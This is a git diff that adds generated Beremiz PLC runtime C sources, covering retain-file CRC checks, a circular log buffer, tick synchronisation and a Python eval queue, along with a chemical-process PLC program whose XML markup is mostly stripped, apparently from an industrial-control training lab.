== 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + 